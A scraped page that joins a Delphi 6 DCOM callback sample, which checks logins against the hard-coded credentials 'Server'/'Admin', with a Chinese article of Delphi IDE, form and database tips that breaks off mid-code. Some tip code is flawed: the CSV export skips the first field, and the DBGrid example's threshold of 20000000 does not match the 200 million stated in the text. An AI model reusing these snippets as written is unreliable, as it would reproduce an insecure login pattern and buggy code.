Windows, Messages, SysUtils, Classes, ComServ, ComObj, VCLCom, DataBkr,

DBClient, Server_TLB, StdVcl;

type

TDCOMBackCall = class(TRemoteDataModule, IDCOMBackCall)

private

BackCallSL : OleVariant;

{ Private declarations }

protected

class procedure UpdateRegistry(Register: Boolean; const ClassID, ProgID: string); override;

procedure GetInfos(var Infos: OleVariant); safecall;

public

{ Public declarations }

end;

implementation

{$R *.DFM}

class procedure TDCOMBackCall.UpdateRegistry(Register: Boolean; const ClassID, ProgID: string);

begin

if Register then

begin

inherited UpdateRegistry(Register, ClassID, ProgID);

EnableSocketTransport(ClassID);

EnableWebTransport(ClassID);

end else

begin

DisableSocketTransport(ClassID);

DisableWebTransport(ClassID);

inherited UpdateRegistry(Register, ClassID, ProgID);

end;

end;

procedure TDCOMBackCall.GetInfos(var Infos: OleVariant);

begin

BackCallSl := Infos;

BackCallSl.SetInfo('a','b');

{////////////////////////////////////////////////

///////BackCallSl := Infos;(还记得这个参数传过来的是什么吗？呵呵，看前边去；)

/////回调，可以由任意事件进行激发

///////////////////////////////////////////////// }

end;

initialization

TComponentFactory.Create(ComServer, TDCOMBackCall,

Class_DCOMBackCall, ciMultiInstance, tmApartment);

end.

]{=======================DCOM调用 VS 回调机制例程=======================

作者：小小；

创建日期：2002-10-24 01:49(凌晨，呵呵)

调试工具：Delphi6 VS Windows 2000;

参考文献：大脑，呵呵:)

信息反馈：dprogram@nxrs.net

交 www.nxrs.net/bbs

=========================================================================}

unit Server_TLB;

// ************************************************************************ //

// WARNING

// -------

// The types declared in this file were generated from data read from a

// Type Library. If this type library is explicitly or indirectly (via

// another type library referring to this type library) re-imported, or the

// 'Refresh' command of the Type Library Editor activated while editing the

// Type Library, the contents of this file will be regenerated and all

// manual modifications will be lost.

// ************************************************************************ //

// PASTLWTR : $Revision: 1.130 $

// File generated on 2002-11-24 0:46:21 from Type Library described below.

// ************************************************************************ //

// Type Lib: D:\u32451练习200210232330.tlb (1)

// LIBID: {4C13B05F-CEBC-4CEF-9B10-C0C6C5381A70}

// LCID: 0

// Helpfile:

// DepndLst:

// (1) v2.0 stdole, (C:.tlb)

// (2) v4.0 StdVCL, (C:.dll)

// (3) v1.0 Midas, (C:.dll)

// ************************************************************************ //

{$TYPEDADDRESS OFF} // Unit must be compiled without type-checked pointers.

{$WARN SYMBOL_PLATFORM OFF}

{$WRITEABLECONST ON}

interface

uses ActiveX, Classes, Graphics, Midas, StdVCL, Variants, Windows;

// *********************************************************************//

// GUIDS declared in the TypeLibrary. Following prefixes are used:

// Type Libraries : LIBID_xxxx

// CoClasses : CLASS_xxxx

// DISPInterfaces : DIID_xxxx

// Non-DISP interfaces: IID_xxxx

// *********************************************************************//

const

// TypeLibrary Major and minor versions

ServerMajorVersion = 1;

ServerMinorVersion = 0;

LIBID_Server: TGUID = '{4C13B05F-CEBC-4CEF-9B10-C0C6C5381A70}';

IID_IDCOMServerSL1: TGUID = '{3532A2E2-A14F-4C6F-BEDD-2E195668C084}';

CLASS_DCOMServerSL1: TGUID = '{3D40FD5D-FFD8-4712-9C4A-2058FEA41C5C}';

IID_IDCOMBackCall: TGUID = '{A9B9B314-662F-4B95-8282-7EFD3F78549E}';

CLASS_DCOMBackCall: TGUID = '{B140EEA0-2115-433C-A8FB-3BD915B24FCC}';

IID_IDCOMBackCalls: TGUID = '{6C16F66E-CF22-4E61-9F4F-82F5F1933154}';

type

// // Forward declaration of types defined in TypeLibrary

// *********************************************************************//

IDCOMServerSL1 = interface;

IDCOMServerSL1Disp = dispinterface;

IDCOMBackCall = interface;

IDCOMBackCallDisp = dispinterface;

IDCOMBackCalls = interface;

IDCOMBackCallsDisp = dispinterface;

// *********************************************************************//

// Declaration of CoClasses defined in Type Library

// (NOTE: Here we map each CoClass to its Default Interface)

// *********************************************************************//

DCOMServerSL1 = IDCOMServerSL1;

DCOMBackCall = IDCOMBackCall;

// *********************************************************************//

// Interface: IDCOMServerSL1

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {3532A2E2-A14F-4C6F-BEDD-2E195668C084}

// *********************************************************************//

IDCOMServerSL1 = interface(IDispatch)

['{3532A2E2-A14F-4C6F-BEDD-2E195668C084}']

function GetInfo(const UserName: WideString; const Pass: WideString): WordBool; safecall;

procedure Call; safecall;

end;

// *********************************************************************//

// DispIntf: IDCOMServerSL1Disp

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {3532A2E2-A14F-4C6F-BEDD-2E195668C084}

// *********************************************************************//

IDCOMServerSL1Disp = dispinterface

['{3532A2E2-A14F-4C6F-BEDD-2E195668C084}']

function GetInfo(const UserName: WideString; const Pass: WideString): WordBool; dispid 1;

procedure Call; dispid 2;

end;

// *********************************************************************//

// Interface: IDCOMBackCall

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {A9B9B314-662F-4B95-8282-7EFD3F78549E}

// *********************************************************************//

IDCOMBackCall = interface(IDispatch)

['{A9B9B314-662F-4B95-8282-7EFD3F78549E}']

procedure GetInfos(var Infos: OleVariant); safecall;

end;

// *********************************************************************//

// DispIntf: IDCOMBackCallDisp

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {A9B9B314-662F-4B95-8282-7EFD3F78549E}

// *********************************************************************//

IDCOMBackCallDisp = dispinterface

['{A9B9B314-662F-4B95-8282-7EFD3F78549E}']

procedure GetInfos(var Infos: OleVariant); dispid 1;

end;

// *********************************************************************//

// Interface: IDCOMBackCalls

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {6C16F66E-CF22-4E61-9F4F-82F5F1933154}

// *********************************************************************//

IDCOMBackCalls = interface(IDispatch)

['{6C16F66E-CF22-4E61-9F4F-82F5F1933154}']

procedure SetInfo(var InfoName: OleVariant; var InfoPass: OleVariant); safecall;

end;

// *********************************************************************//

// DispIntf: IDCOMBackCallsDisp

// Flags: (4416) Dual OleAutomation Dispatchable

// GUID: {6C16F66E-CF22-4E61-9F4F-82F5F1933154}

// *********************************************************************//

IDCOMBackCallsDisp = dispinterface

['{6C16F66E-CF22-4E61-9F4F-82F5F1933154}']

procedure SetInfo(var InfoName: OleVariant; var InfoPass: OleVariant); dispid 1;

end;

// *********************************************************************//

// The Class CoDCOMServerSL1 provides a Create and CreateRemote method to

// create instances of the default interface IDCOMServerSL1 exposed by

// the CoClass DCOMServerSL1. The functions are intended to be used by

// clients wishing to automate the CoClass objects exposed by the

// server of this typelibrary.

// *********************************************************************//

CoDCOMServerSL1 = class

class function Create: IDCOMServerSL1;

class function CreateRemote(const MachineName: string): IDCOMServerSL1;

end;

// *********************************************************************//

// The Class CoDCOMBackCall provides a Create and CreateRemote method to

// create instances of the default interface IDCOMBackCall exposed by

// the CoClass DCOMBackCall. The functions are intended to be used by

// clients wishing to automate the CoClass objects exposed by the

// server of this typelibrary.

// *********************************************************************//

CoDCOMBackCall = class

class function Create: IDCOMBackCall;

class function CreateRemote(const MachineName: string): IDCOMBackCall;

end;

implementation

uses ComObj;

class function CoDCOMServerSL1.Create: IDCOMServerSL1;

begin

Result := CreateComObject(CLASS_DCOMServerSL1) as IDCOMServerSL1;

end;

class function CoDCOMServerSL1.CreateRemote(const MachineName: string): IDCOMServerSL1;

begin

Result := CreateRemoteComObject(MachineName, CLASS_DCOMServerSL1) as IDCOMServerSL1;

end;

class function CoDCOMBackCall.Create: IDCOMBackCall;

begin

Result := CreateComObject(CLASS_DCOMBackCall) as IDCOMBackCall;

end;

class function CoDCOMBackCall.CreateRemote(const MachineName: string): IDCOMBackCall;

begin

Result := CreateRemoteComObject(MachineName, CLASS_DCOMBackCall) as IDCOMBackCall;

end;

end.

{=======================DCOM调用 VS 回调机制例程=======================

作者：小小；

创建日期：2002-10-24 01:49(凌晨，呵呵)

调试工具：Delphi6 VS Windows 2000;

参考文献：大脑，呵呵:)

信息反馈：dprogram@nxrs.net

交 www.nxrs.net/bbs

=========================================================================}

unit SLXK;//////////DCOM，与回调无关

{$WARN SYMBOL_PLATFORM OFF}

interface

uses

ComObj, ActiveX, Server_TLB, StdVcl;

type

TDCOMServerSL1 = class(TAutoObject, IDCOMServerSL1)

protected

function GetInfo(const UserName, Pass: WideString): WordBool; safecall;

procedure Call; safecall;

{ Protected declarations }

end;

implementation

uses

ServerM ,ComServ;

function TDCOMServerSL1.GetInfo(const UserName,

Pass: WideString): WordBool;

begin

if ( UserName <>'Server' ) or (Pass <>'Admin') then

begin

Result := False

end else

begin

Result := True;

Form1.Label1.Caption := '客户成功登录';

end;

{//////////////////////////////////////////////////////////////////////////////

/////////这个自己分析，如果说不会，那就惨喽

//////////////////////////////////////////////////////////////////////////////}

end;

procedure TDCOMServerSL1.Call;

begin

ShowMessage('aa'); //// or GetInfo(UserName,Pass);

end;

initialization

TAutoObjectFactory.Create(ComServer, TDCOMServerSL1, Class_DCOMServerSL1,

ciMultiInstance, tmApartment);

end.

{=======================DCOM调用 VS 回调机制例程=======================

作者：小小；

创建日期：2002-10-24 01:49(凌晨，呵呵)

调试工具：Delphi6 VS Windows 2000;

参考文献：大脑，呵呵:)

信息反馈：dprogram@nxrs.net

交 www.nxrs.net/bbs

=========================================================================}

//////////索性将服务应用程序也贴上，没有作用的，就是用来标示客户是否可以正确连接

unit ServerM;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls;

type

TForm1 = class(TForm)

Label1: TLabel;

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

end.


董占山

DELPHI编程技巧集锦

DELPHI编程技巧集锦（1）

董占山

(中国农科院棉花研究所，河南安阳，455112)

美国著名的《Delphi开发者杂志(Delphi Developer's Journal)》是世界上众多Delphi程序员必读的专业杂志，在国内我们很少有机会读到这份优秀的专业刊物，但是我们可以在Inprise公司（http://www.inprise.com）的网页上看到该杂志刊登的一些优秀文章。同时，还可以通过电子邮件订阅该杂志免费提供的Delphi使用技巧，订阅网址为http://www.zdtips.com/ddj/bor-f.htm。笔者从中筛选出一些十分有用的Delphi使用技巧和文章，编译出来，与广大Delphi爱好者分享。有什么意见和建议可以直接给笔者发电子邮件（dzs@126.com）。读者请注意，本文中的内容多以Delphi 4为例进行介绍，请使用其他版本的读者根据实际情况灵活运用。

一、Delphi集成环境与代码调试

A 修改Delphi的系统信息

默认的Delphi消息、警告和例外描述都是英文的，将这些内容翻译成另一种语言或修改它们使其适合你的需要的最简单方法是编辑资源文件并改变相应的字符串，这些文件位于BIN目录。主要资源文件有：SysUtils单元的信息（文件没有找到、转换错误信息等）在sysutils.res中，数据库错误信息在dbconsts.res中，VCL信息在consts.res中。注意一些字符串使用格式字符，如%s或%d，来产生最终的字符串，在这种情况下，应将这些字符保留在适当的位置。

B 如何清除无用代码

Delphi提供了自动清除源代码中无用代码的强大功能，一般来说，当你保存文件时，Delphi自动将源代码中空的类方法删除，保证了源代码的清洁。在没有编译和保存文件的前提下，也可以清除无用代码，方法是：在Delphi 3/4中单击“File”*“Save As...”菜单命令（在Delphi 1/2中单击“File”*“Save File As...”菜单命令），打开“Save As...”对话窗口，单击“取消”按钮即可。

C 在Delphi 4集成环境中不使用浮动功能

你无疑知道Delphi 4集成环境支持大多数窗口的浮动功能。但是，有时你不想让一个窗口具有浮动功能。浮动窗口在需要时，十分有用，但在不需要时，也十分恼人。有两种方法可以改变一个窗口的浮动属性。

第一种方法是：每个可浮动窗口具有一个本地菜单项目---Dockable，如果你不希望一个特定的窗口具有浮动功能，简单地用鼠标右键单击窗口，选空Dockable菜单项目。这个窗口的浮动功能就关闭了，直到你再选中Dockable项目为止。

这一技术可以防止特定的窗口可停靠。但有时，你仅仅希望暂时关闭浮动功能，这时，只需要按下<Ctrl>键，再拖动窗口。

D 在工具菜单中添加项目

在Delphi集成环境中按F1键可以打开多数Delphi帮助标题，这种方法可以快速打开相关标题的帮助窗口。但是这种快速方法对第３方工具和常问问题（FAQs）是不可用的，Delphi提供了一个变通的方法，使在集成环境下快速打开这些工具成为可能。

在工具菜单添加用户项目的方法是：单击“Tools”*“Configure Tools”命令，打开一个包含所有可用工具列表的对话窗口，单击“Add”按钮，打开“Tool Properties”对话窗口，分别设置4个编辑框，然后单击“Ok”按钮，再单击“Close”按钮，完成设置。

E 设置条件断点

一般来说，大家都会使用断点来调试程序，但是如何使用条件断点来调试程序呢？条件断点，顾名思义，就是指需要满足一定条件时的断点。这种断点在调试很长的For或While循环时十分有用，当你只希望看一看一个特定循环的执行情况而非所有循环时，就需要在循环中设定一个条件断点，当设定的条件满足时，Delphi停止应用程序的执行。

设置条件断点的方法是：按常规的方法建立断点，单击“View”*“Debug Windows”*“Breakpoints”命令，弹出一个断点列表窗口，用鼠标右键单击欲设置为条件断点的断点，在快捷菜单中单击“Properties”命令，打开一个断点编辑窗口，在这个窗口的条件域中输入一个逻辑表达式即可。在调试程序时，Delphi判断这个逻辑表达式，当逻辑表达式为真时，就中断程序运行，返回代码窗口。

F 不要让集成调试器打断调试过程

在调试程序时，Delphi的集成调试器监视一切运行时错误。当调试器发现一个运行时错误时，Delphi中断应用程序并返回到设计状态，并显示一个错误信息窗口。当关闭错误信息窗口后，需要按<Ctrl-F2>重新开始启动程序，或者按<F9>继续运行程序。无疑，Delphi集成调试器是十分有用的，但有时也让人烦恼。能否暂时关闭集成调试器呢？可以。使用下面的方法可防止集成调试器中断应用程序：

1 单击“Tools”*“Environment Options...”菜单命令；

2 单击“Preferences”对话页标签；

3 选空“Integrated debugging option”复选框；

4 单击“Ok”完成操作。

这样当你在集成环境下调试应用程序时，Delphi的集成调试器探测到运行时错误时，就不再切换到设计状态并显示错误信息了。

G 调试Delphi 3/4集成环境的插件

在Delphi 1中, 要调试集成环境的插件/专家是十分困难的。Delphi 3/4提供了调试DLL的能力，从而简化了这项工作。

第一步，保证插件/专家没有包括在Windows注册表的插件/专家列表中，然后，启动Delphi 3/4并装载需要调试的专家DLL，修改注册表，使Delphi 3/4能够调用这个DLL；

第二步，单击“Run”*“Parameters”菜单命令，打开“Run Parameters”对话窗口，单击“Local”对话页上的“Host Application”编辑框右边的“Browse”按钮，查找“Delphi32.exe”程序的位置（本例为C:Files.exe）；

第三步，运行待调试的DLL，将启动Delphi的第二个实例，并装载要调试的DLL，允许对其进行调试。

二、窗体设计的相关技巧

A 透明象素点

当将一个image图象，一般为BMP文件，放到一个TBitBtn上时，图片左下角的一个象素点决定图片中的哪种颜色为透明色。图片上任何具有这种颜色的象素点，在按钮上都是透明的。假如不希望图片上的任何象素点是透明的，就需要将图片左下角的这个象素点的颜色设置为不同于图片上任何象素点的颜色。

B 自动调整窗体的分辨率

创建应用程序时，总是依监视器的分辨率进行的，其缺点是：假如在较高分辨率下设计应用程序，它可能大于用户的有效屏幕大小，在用户使用程序时，就不能显示出全部窗体内容，给用户带来不便。一种简单的解决办法是：在程序运行时，让Delphi自动添加滚动条来解决这个问题。

但是，使用Delphi的自动调整比例过程将产生更加专业的结果。在运行时，Delphi获得系统的屏幕分辨率，并将结果保存在应用程序的Screen对象的PixelsPerInch属性中，然后，使用这个属性的值将窗体调整到当前分辨率。

记住，为了有效地使用这项技术，需要设置窗体的Scaled属性为真，并且只用TrueType字体，如果开发程序时，使用了Windows的小字体，应将窗体的AutoScroll属性设置为假（FALSE）。

C 为控制设置一种自定义颜色

窗体和各种控制都具有一个Color属性，当你选择它们的Color属性时，可以在列表框中选择一种Windows系统默认的各种颜色，也可以建立一种自定义颜色，使它们显得与众不同。为窗体或控制设定自定义颜色的步骤如下：

1 双击组件的Color属性，弹出颜色对话窗口；

2 选择一种最接近你想要的基色；

3 单击“Define Custom Colors>>”按钮，颜色对话窗口将扩展，显示出一个色谱区域；

4 使用十字光标在这个色谱区域选择你想要的颜色，然后单击“Add to Custom Colors”按钮；这样你选定的特定颜色就被添加到颜色对话窗口中了；

5 单击“Ok”按钮，就将刚定义的颜色应用到选定的控件了。

D 缩小步长

大多数程序员在设计窗体时喜爱“（靠到格线）Snap to grid”功能，可以节省安置组件的时间，但是，有时你还需要微调其位置和大小。

其一：将组件在窗体上一次移动一个象素点。首先，选中你想移动的组件，然后，按下<Ctrl>键不放，按光标键，选中的控制将一次移动一个象素点，方向与光标键所指方向相同。

其二：每次按一个象素点调整控制的大小。选中控制，按下<Shift>键不放，按光标键，根据光标键所指方向不同，选中的控制每次放大或缩小一个象素点。

E 控制滚动条的有效方法

TForm的HorzScrollBar和VertScrollBar属性使用Tracking子属性来管理窗体的显示，Tracking属性是一个布尔型属性。若此属性设置为真，窗体随用户拖动滚动条而移动；若此属性设置为假，窗体不随用户拖动滚动块而移动，只有用户释放滚动块时才移动。这种差别对查看列表和图象的用户十分重要。如果要平滑地显示列表和图象，将Tracking属性设置为真，但当图象或列表信息特别复杂时，窗口的滚动特别地缓慢。如果要快速显示列表和图象信息，将Tracking属性设置为假，这样窗口的滚动就会加快，但是由于不能看到实际位置，所以使用时难以掌握。除了TForm以外，TScrollBox组件也使用Tracking属性来管理其显示内容。

F 选择合适的组合框

Delphi提供了5类组合框，它们具有相同的特性，但是也有不同的特点。了解其间的差别，可帮助程序员根据需要选择合适的组合框类型。

所有的组合框都是一个列表框和编辑框的组合，用户可以在列表框中选择或在编辑框中直接输入值。当用户从列表框中选择时，这个条目将显示在编辑框中。5类组合框的不同特性决定了它们的显示和与用户交互的方式。下表列出了5种类型组合框的的独有特征。

表1 格式描述

格式 | 说明
Simple | 这种格式就是列表框上显示一个编辑框，用户可以从列表框中选取条目，也可以直接在编辑框中输入文本
Drop-down | 除了列表框开始不显示外，其他特性均类似于simple格式。在编辑框的左边有一个下拉按钮，单击可以打开列表框，从中选取条目；也可在编辑框中直接输入项目。
Drop-down list | 这是组合框中限制条件最多的一种，显示格式类似于drop-down，开始时列表框不显示。用户单击下拉按钮打开列表框并从中选取条目，但是不能在编辑框中直接输入文本。
OwnerDrawFixed | 这种组合框类似于Simple类，不同的是其列表框中的条目高度是根据用户在ItemHeight定义的值而设置的。
OwnerDrawVariable | 这种组合框类似于OwnerDrawFixed类，特点是列表条目的高度是可变的。

当窗体上有足够的空间和列表很短时，使用Simple格式的组合框较为合适。否则，使用Drop-down格式的组合框。当想让用户只能从预定义项目中选取条目时，用Drop-down list格式的组合框。需要可变高度列表项时，使用后两种。

G 使非可视组件易于辨认

非可视组件没有标题属性，一个窗体中多个同类非可视组件时，由于它们看起来一模一样，故难以辨认。DELPHI提供了一种变通的方法，就是将非可视组件的名称放置在组件图标之下，使它们易于辨认。设置方法如下：

1 单击“Tools”*“Environment Option”，弹出一个对话窗口；

2 单击“Preferences”标签，切换到Preferences对话页；

3 选中“Show component captions”复选框；

4 单击“Ok”完成。

这时，在当前的设计窗体上，就可以看到每个非可视组件下显示出一个标签。这个选项设置之后，对所有窗体都是有效的。

H 标签的加速键

对含有Caption属性的组件，添加快捷键是比较容易的，只需在Caption属性中特定字符前加上“&”符号即可。那么，怎样给没有Caption属性的控制添加快捷键呢？现以给一个TMemo控制添加快捷键为例说明如下：在窗体上放置一个TMemo控制，再在其旁边放置一个TLabel控制，将其Caption属性设置为“&Memo1”，将TLabel的FocusControl属性设置为“Memo1”。编译并运行这个程序，按快捷键 <ALT+M>，就可以快速存取Memo1控制的内容。这项技术不需要任何代码，可以应用到所有没有Caption属性的控件上。

I 选择组件的父组件和多个组件

在Delphi集成环境中，在设计窗体时，如果父组件是不可见的，要选择父组件就比较困难。其实有一个简单的方法：选择不可见组件的一个子组件，按<ESC>键，就可以选中其父组件。

当窗体上有多个组件时，可以通过按下鼠标左键拖动鼠标，将虚线矩形框包围要选择的组件，就可以方便地选择它们。但是, 如果想选择放置在一个面板类组件（如TPanel）上的一组组件时，单击并拖动将移动这组组件下的父组件，达不到预期的效果。为了避免这种情况的发生，需要按下<Ctrl>键，然后再执行上述操作。

另外，按下<Shift>键，单击一个组件，可以选择或取消选择一个组件。这对需要选择不同面板组件上的子组件时十分有用。

J 移动组件或调整其大小

在窗体上移动组件或调整其大小时，有时希望一次一个象素点地进行。采用Object Inspector来修改组件的left, top, width和height属性可以做到这一点。但是还有一种更为简单的方法，就是使用<Shift>和<Ctrl>键加上箭头键。按<Shift+箭头键>组合键在箭头指向的方向上调整组件的大小；按<Ctrl+箭头键>组合键在箭头指向的方向上移动组件。这两种组合键对选定的多个组件同时有效。

K 在TNotebook组件的所有页面上显示组件

若希望在TNotebook或TPageControl组件的所有页面上显示某些组件（例如浏览数据库的列表框）时，不需要在在每个页面上重复设置这些组件，只需要首先建立它们，然后再添加TNotebook或TPageControl控件，调整它们的大小和位置，用鼠标右键单击TNotebook或TPageControl组件，单击弹出菜单中的“Send To Back”属性，这时最先添加的控件就显示在TNotebook或TPageControl控件之上，按通常的方法添加其他组件到TNotebook或TPageControl组件即可。

此方法只对控件有效，所以TDBText需用TDBEdit代替，并设置其为只读，边界属性设置为空，Ctrl3D属性设置为假。同理，需要用TPanel组件代替TLabel组件。

另一种更为有效的方法是编写一段代码，来动态改变组件的位置，这种方法对所有的组件均有效。以TPageControl为例，在其OnChange事件处理程序中插入如下代码：

procedure TForm1.PageControl1Change(Sender: TObject);

begin

Panel1.Parent := PageControl1.ActivePage;

//other code follows

end;

实际使用时，用自己的组件代替Panel1。记住：应当将组件放置在程序运行时，打开对话框时首先显示的对话页上，以避免在窗体的OnCreate事件处理程序中编写代码。

L 取消拖动操作

在设计窗体时，如果在移动一个组件的位置时，发现选错了组件，这时该怎么办呢？无疑，你想取消这一步的拖动操作，其实很简单，在没有释放鼠标键之前，按<ESC>键，这个组件就会返回到原来的位置。

M 为Y2K格式化tDateTimePickers的日期显示

在Delphi中使用TDateTimePicker.DateFormat来指明日期格式，DateFormat是TDTDateFormat类型属性，取值为dfShort或dfLong。若取dfShort, 日期格式类似于是“3/21/97”；若取dfLong, 日期格式类似于“Friday, March 21, 1997”。

为了兼容Y2K格式，需将日期格式设置为YYYY-MM-DD，根据上面的解释，tDateTimePicker组件在设置为短日期格式时就不敷应用了。但是, 如果你在控制面板中设置了短格日期式（使用区域设置），tDateTimePicker将使用Windows的设置，所以它还是可以使用的。

DELPHI编程技巧集锦（2）

董占山

(中国农科院棉花研究所，河南安阳，455112)

三、代码设计的相关技巧

A 使用特殊字符

应用程序有时需要用到键盘上没有的字符，例如，版权符号（?）、英镑符(￡)和日圆符(￥)等。为了输入这些字符，需要使用Windows字模映射程序。

打开字模映射程序，从“字体”列表框中选中合适的字体，在下面的列表框选中一个字符，在窗口的右下角将显示出这个字符的ASCII码值。例如英镑符的ASCII码为0163，在键盘上按下<ALT>键的同时按下0163，就可以输入英镑符。也可以使用字模映射程序的选择和复制按钮将选定字符复制到Windows的剪贴板上，然后再使用“粘贴”命令或按<SHIFT+INS>键盘命令将字符粘贴到目标程序代码中。

B 在代码中设置位置标记

Delphi代码编辑器允许在源代码中放置一些位置标记，就向老式的WordStar所具有的那种。使用位置标记的目的是快速地在文档不同位置之间进行切换。比如在创建一个类函数时，希望看一下它的声明部分，位置标记就派上用场了。在代码编辑器中设定位置标记的快捷键为：<CTRL+K>+<1-9之间的任意数字>，移动到已有位置标记的快捷键为：<CTRL+Q> + <1-9之间的任意数字>。在默认状态下，Delphi并不保存用户在代码中设定的位置标记，为了让Delphi将设定的位置标记保存到文件中，一便下次利用，需要在“Environment Options”对话窗口的“Preferences”对话页选中“Autosave”复选项，这样Delphi就将位置标记信息保存到项目的DSK文件中。

C 使用键盘快捷键快速进行代码块缩进

在编辑程序源代码时，不同代码块之间保持不同的缩进距离，可以使代码易于阅读。当程序结构调整之后，需要调整代码的缩进量，通常我们使用上下光标键在不同代码行之间进行切换，用<空格>、<Tab>和<Del>键来增加或减少缩进空间。使用过Turbo Pascal的老用户可能还记得它的集成编辑器提供了一组快捷键来快速切换代码块的缩进量，使用十分方便。其实，Delphi集成编辑器也提供了两个组合键来快速增加或减少多行代码的缩进量。首先选择待改变缩进量的代码块，按<Ctrl+Shift+I>组合键来扩展代码块的缩进量，按<Ctrl+Shift+U>组合键来缩小代码块的缩进量。

D 在代码编辑窗口中选择一个矩形区域

大家知道在Microsoft Word 97中可以选择一个矩形区域，在Delphi的集成编辑器也有类似功能。为了选择一个矩形区域，按下<Alt>键不放，然后用鼠标和键盘选择文本。

E 跳到VCL源代码去

通过下面的方法，可以转跳到VCL库例程的源代码：

按下<Ctrl>键；

将鼠标光标移到想看其源码的类型声明的名字上；

单击之即可调出VCL源程序代码进行查看。

F 在集成环境中记录击键并回放

在使用Delphi编写程序时，由于需要多次输入同一个变量名称或一段固定的代码，你或许想过将这段代码的击键记录下来，在需要时回放它们，以实现快速编码，减少无效劳动，就象在DOS时代使用F3键回放刚刚输入的一行命令一样。Delphi集成编辑器同样提供这项功能：按<Ctrl+Shift+R>开始录制击键，然后键入你希望录制的击键，再按<Ctrl+Shift+R>停止录制。按<Ctrl+Shift+P>回放刚刚录制的击键。注意：这种功能仅仅在默认的编辑器键盘模式下有效。为了查找你使用了那种编辑器键盘模式，单击“Tools”*“Environment Options”菜单项，单击“Editor”标签，就可以在编辑器设置组合框中看到当前使用的编辑器键盘模式了。

G 代码模板

Delphi的代码模板（Code Template）可以减少重复输入。在Delphi编辑器中，按<CTRL+J>键打开模板选择列表框；或者键入一个模板的名称，然后按<CTRL+J>来扩展模板。

选择“Tools”*“Environment Options”菜单命令，单击“Code Insight”标签，可以添加自己的代码模板。用户可以输入任何代码，不仅仅是数组、循环等。模板在下列情况下十分有用：为过程、函数和方法所写的标准初始化代码、注释块或其他用途。

H 使用代码完成功能

Delphi 3/4中一项易被忽视的功能是代码完成特征，该项功能弹出一个列表框，列出所有可能的赋值。下面的例子演示了这项功能。

开始一个新的项目，双击窗体，切换到代码窗口，编写窗体的OnCreate事件处理程序，如下：

procedure TForm1.FormCreate(Sender: TObject);

var

temp : string;

temp2 : integer;

begin

end;

这时，在过程体中输入“temp :=”，按<Ctrl+空格>键，稍侯，就可以看到一个含有一些变量、方法和对象的列表，以及潜在的有效赋值。一些选择项后带有省略号，表明这些对象或记录含有兼容的方法或字段可以作为赋值。

四、数据库程序设计技巧

A 充分利用数据库窗体专家（Database Form Expert）

数据库窗体专家（Database Form Expert），在Delphi 3中称为向导，对所有版本的Delphi都是有效的。窗体专家的用途是帮助用户快速地创建数据库应用程序。但是，不足的是它产生的窗体存在控制和字段位置、大小不适中的问题。但是，其优点还是很显然的。很明显，程序员需要和客户一起来设计窗体，使其更加美观实用。数据库窗体专家可以建立数据存取控件并完成他们的基本连接属性。虽然位置和大小不适中，它可以建立大多数数据输入字段和其标签，所以充分利用数据库窗体专家，可以节省设计窗体原型的时间。

B 将数据库转换为CSV格式

如果想将数据库表格转换为以逗号分割的文本文件（CSV格式），可以使用如下的过程代码：

procedure BackupTableToCSV(tableName:TTable);

var

i,j: integer; (*i-field, j-record*)

s: string; (*Record string*)

theStringList: TStringList; (*temp storage*)

begin

s:='';

theStringList:=TStringList.Create;

with tableName do begin

try

Active:=True;

except

showmessage('不能激活数据库：'+ Name);

end;

for j:=0 to (RecordCount-1) do begin

s:='';

for i:=1 to (FieldCount-1) do begin

(*add next field w/comma delimiter*)

s:=s+(Fields[i].AsString)+',';

end; (*i for*)

theStringList.add(s);

Next;

end; (*j for*)

theStringList.savetofile(Name+'.csv'); (*memo1.lines.*)

Showmessage(Name+ ' 已被转换完毕.');

close;

end; (*with*)

end; (*BackupTableToCSV*)

C 动态更新DBGrid的行颜色

DBGrid是显示表格数据的好控件，本例旨在演示如何动态地改变其中的文本颜色。例如，我们想用DBGrid中的行来显示国家的信息，如果国家的人口大于2亿，数据行显示将为兰色。在 DBGrid组件的OnDrawColumnCell事件处理程序中测试数据并改变颜色，程序代码如下：

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;

const Rect: TRect; DataCol: Integer; Column: TColumn;

State: TGridDrawState);

begin

if Table1.FieldByName('Population').AsInteger > 20000000 then

DBGrid1.Canvas.Font.Color := clBlue;

DBGrid1.DefaultDrawColumnCell(Rect, DataCol, Column, State);

end;

这是一项简单实用的技术，它除了可以显示数据内容，还可以显示信息的意义，例如太多人口、账号透支、零件到货等。

D 在程序运行时创建报告

使用Quick Report提供的QRCreateList函数，可以在运行时建立报告。下面是一个实例：

QRCreateList(aReport, Self, qryCountry, 'Country Report', FieldList);

其中，aReport为报告的名称；qryCountry为数据表名称；'Country Report'为报告题目；FieldList为包含在报告中的字段列表，如果这个列表等于nil或包含0个项目，所有字段都将被使用。

在运行时建立一个报告的代码如下：

{ 默认的字段列表为nil }

FieldList := nil;

{ 确保新报告对象指向nil, 否则使用QRCreateList函数建立报告时，将出错 }

aReport := nil;

{ 调用QRCreateList函数建立报告，将自动建立一个含有列头带和细目带的报告，

用户可以在预览或打印前，添加组带、汇总带等内容 }

QRCreateList(aReport, Self, qryCountry, 'Country Report', FieldList);

E 巧用字段编辑器

字段编辑器（Fields Editor）除了可以建立永久的字段对象外，还可以帮助程序员迅速将数据库控件放置到窗体上。方法如下：

从字段编辑器将一个字段名拖放到窗体上，当你松开鼠标键时，Delphi就向窗体上添加一个TLabel和一个TDBEdit 控件。这些被建立的控件使用在字段编辑器中设定的属性：包括Alignment、DisplayLabel、DisplayWidth和 EditMask属性。当然，DBEdit的DataSource和DataField属性也被设置好了。

F 加速数据库的搜索过程

想增加数据库的检索速度吗？在进行数据检索之前，调用数据表的DisableControls方法，将DataSet和 DataSource组件的联系断开，当检索结束时，调用数据表的EnableControls方法，重新在DataSet和 DataSource组件之间建立联系，这样就可以节省更新数据控制的时间，从而加速检索的速度。下面是一个实例：

unit Unit1;

.

.

type

TForm1 = class(TForm)

DataSource1: TDataSource;

Table1: TTable;

Button1: TButton;

.

.

procedure TForm1.Button1Click(Sender: TObject);

var

SeekValue: string;

begin

Table1.DisableControls;

